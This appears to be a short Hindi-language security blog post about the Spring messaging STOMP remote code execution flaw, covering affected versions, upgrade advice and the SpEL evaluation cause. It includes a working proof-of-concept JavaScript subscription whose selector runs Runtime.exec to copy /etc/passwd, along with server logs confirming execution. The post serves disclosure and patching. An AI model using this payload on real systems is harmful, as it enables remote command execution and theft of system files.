
Spring messaging STOMP प्रोटोकॉल RCE
कल Spring ने एक RCE भेद्यता की घोषणा की, आइए जानें:
प्रभावित संस्करण
इस भेद्यता के लिए किसी पर्यावरण की आवश्यकता नहीं है, यदि आप spring-messaging + websocket + STOMP का उपयोग कर रहे हैं, तो कृपया जल्द से जल्द नवीनतम संस्करण में अपग्रेड करें; यदि आप SpringBoot का उपयोग कर रहे हैं, तो 2.0.1.RELEASE में अपग्रेड करें।
सीधे शब्दों में कहें, StandardEvaluationContext की बहुत अधिक अनुमतियों के कारण, कोई भी SpEL अभिव्यक्ति निष्पादित की जा सकती है, इसलिए आधिकारिक तौर पर Spring 5.0.5 के बाद SimpleEvaluationContext जोड़ा गया, जिसका उपयोग सरल डेटा बाइंडिंग के लिए किया जाता है, लचीलापन बनाए रखता है लेकिन सुरक्षा जोखिम नहीं लाता।
spring-messaging STOMP प्रोटोकॉल समर्थन प्रदान करता है, जो क्लाइंट को संदेशों की सदस्यता लेने और संदेशों को फ़िल्टर करने के लिए selector का उपयोग करने की अनुमति देता है, उदाहरण के लिए
selector = 'T(java.lang.Runtime).getRuntime().exec("cp /etc/passwd /tmp")'
stompClient = Stomp.client('ws://localhost:8080/hello')
stompClient.connect({}, function(frame) {
stompClient.subscribe('/topic/greetings', function() {}, {
"selector": selector
})
});
जब आप सदस्यता लेते हैं, तो spring इस फ़िल्टर को संग्रहीत करता है और जब क्लाइंट को संदेश प्राप्त होता है तो इसे ट्रिगर करता है, उदाहरण के लिए
2018-04-07 08:32:20 [clientInboundChannel-3] TRACE o.s.m.s.b.DefaultSubscriptionRegistry - Subscription selector: [T(java.lang.Runtime).getRuntime().exec("cp /etc/passwd /tmp")]
...
2018-04-07 08:32:21 [MessageBroker-2] DEBUG o.s.m.s.b.DefaultSubscriptionRegistry - Failed to evaluate selector: EL1001E: Type conversion problem, cannot convert from java.lang.UNIXProcess to boolean
Poc स्क्रीनशॉट

विस्तृत भेद्यता विश्लेषण लेख बाद में प्रकाशित किया जाएगा
Spring Boot सर्वर को संकलित और प्रारंभ करें,
mvn clean package
java -jar target/spring-boot-websocket-1.0.jar
पहुँचें - परीक्षण के लिए एक्सप्रेशन दर्ज करें,
http://localhost:8080
